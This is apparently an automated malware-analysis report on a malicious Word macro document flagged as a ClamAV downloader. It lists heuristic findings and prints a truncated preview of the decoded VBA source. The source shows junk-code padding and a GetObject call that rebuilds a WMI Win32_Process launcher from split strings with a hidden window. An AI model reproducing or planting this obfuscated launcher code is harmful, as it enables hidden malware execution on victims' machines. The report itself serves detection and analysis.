MALICIOUS
342
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a critical heuristic firing for VBA WMI Win32_Process launcher, indicating the macro attempts to create a new process using WMI. The macro also uses split string obfuscation to reassemble the dangerous API name 'Win32_Process'. This functionality, combined with the auto-execution marker and GetObject call, strongly suggests the macro's purpose is to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.
Heuristics 9
-
ClamAV: Doc.Downloader.00536d-6862775-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.00536d-6862775-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- https://client-office365-tas.msedge.net/abIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 59414 bytes |
SHA-256: 14f62a6263775f506c7cf8d5a95d6baa2a66d1dd64e67d9db64356db8808cdce |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "z7_85_30" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "P60_9053" Function M4481__() If h2900479 <> c234857_ Then h547122 = 358699491 + CSng(506119469) * 981715243 * ChrB(63601092) * (l736946 / CDbl(453456731 + CBool(s979_2 - Int(980786715 / w_55_208 * 148596447 / Cos(b__07_)))) - (r073516_ + Oct(603746112) + 534676526 / 167538825)) End If If X8___9 <> G_9732 Then t7__02 = 629758394 + CSng(779160974) * 998135830 * ChrB(937836559) * (j_625___ / CDbl(767522961 + CBool(F447550_ - Int(874131310 / m28_66_ * 136179548 / Cos(L_739735)))) - (W2898795 + Oct(452860167) + 328646056 / 40563897)) End If If W9__45 <> Q_69363 Then W44__2_3 = 536936457 + CSng(651913728) * 368538311 * ChrB(980004311) * (V__78_ / CDbl(280636990 + CBool(N__3318 - Int(296766471 / c71730 * 488710420 / Cos(j999_7_9)))) - (h_81____ + Oct(931843357) + 747709619 / 144493392)) End If If i7852_ <> p__94892 Then j269771 = 370608799 + CSng(859664618) * 831813146 * ChrB(40349783) * (K9_423 / CDbl(210516094 + CBool(j_40_6 - Int(882570041 / G__350_ * 19541158 / Cos(l_9___)))) - (T58_43 + Oct(349833893) + 455775663 / 578545841)) End If If B51642 <> Y___7658 Then T62_5_2 = 888313460 + CSng(131144267) * 481824794 * ChrB(373694666) * (w_43994 / CDbl(306005674 + CBool(V3545__ - Int(377285670 / t56_5_ * 166473152 / Cos(z_733_2)))) - (l__561 + Oct(677374453) + 577670799 / 19681179)) End If If a776_39 <> J0_495 Then A_2_0698 = 377263991 + CSng(109354191) * 610495908 * ChrB(868915193) * (E63_45 / CDbl(672297683 + CBool(i6_269 - Int(696955338 / o_831_ * 811776177 / Cos(t6215719)))) - (s164_7 + Oct(463176091) + 355073885 / 824295804)) End If If i2_401_ <> q153_002 Then D383_5_2 = 569210538 + CSng(677167457) * 289670694 * ChrB(178975401) * (z899680 / CDbl(910298512 + CBool(f_196_ - Int(462644110 / M563_1__ * 923920068 / Cos(a96_451)))) - (O33968_4 + Oct(186860339) + 684688721 / 812195629)) End If End Function Function l912448(n8_9_826, U29609) On Error Resume Next If V_10_7__ <> z7___4_5 Then N__17_62 = 548258615 + CSng(642564244) * 842685616 * ChrB(178905807) * (R706_7 / CDbl(274806221 + CBool(G2__017 - Int(699854355 / S901_3_ * 80825927 / Cos(i___074)))) - (c37_39_ + Oct(493035497) + 22982752 / 657353588)) End If If h3__7_ <> p5322_8_ Then o9_241 = 322841293 + CSng(187032923) * 104673154 * ChrB(45644058) * (A92999 / CDbl(807799152 + CBool(j_4__487 - Int(827240523 / H80858 * 950338039 / Cos(N__4058)))) - (Q_3_520 + Oct(687692909) + 185047160 / 285029461)) End If If K4_46_9_ <> F135_8_3 Then O__2742_ = 414806352 + CSng(23819559) * 120841654 * ChrB(455188160) * (b__92997 / CDbl(263254746 + CBool(o26_6_ - Int(870157453 / Z779_3 * 699410882 / Cos(w8056_)))) - (L192_71 + Oct(108160552) + 658744561 / 155151387)) End If Set k497761_ = GetObject(K47951 + "winmgm" + p___352 + "ts:Win" + "32_Proce" + "ssStartup") If Q___088 <> z92_62_ Then b06199 = 450494184 + CSng(36630566) * 671848033 * ChrB(497983606) * (U13845 / CDbl(544004861 + CBool(T560345_ - Int(873921284 / b4_124 * 154660445 / Cos(j_11598)))) - (G_74736 + Oct(55615939) + 383821583 / 403399081)) End If If w983_0_2 <> m_9__13 Then w6026_ = 63701410 + CSng(829273869) * 730042138 * ChrB(717109216) * (i602_0 / CDbl(387038293 + CBool(v745206 - Int(954361882 / S_1_5583 * 447161983 / Cos(C63539__)))) - (p4_1_6_ + Oct(245429879) + 37668523 / 656891838)) End If k497761_.ShowWindow = 113758 - 113758 If h_191665 <> G62106_ Then J3_89778 = 406595771 + CSng(127745911) * 569023764 * ChrB(371976731) * (R_01_431 / CDbl(149317105 + CBool(A43_043 - Int(605563429 / Z_3729_ * 3775823 / Cos(z47_4162)))) - (I10_944 + Oct(779815916) + 759101276 / 896740936)) End If If o3__66 <> M3890353 Then h29_768 = 519013773 + CSng(541956239) * 591332952 * ChrB(528063418) * (X17_60 / CDbl(398209393 + CBool(B_6_51__ - Int(754893927 / p6891 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.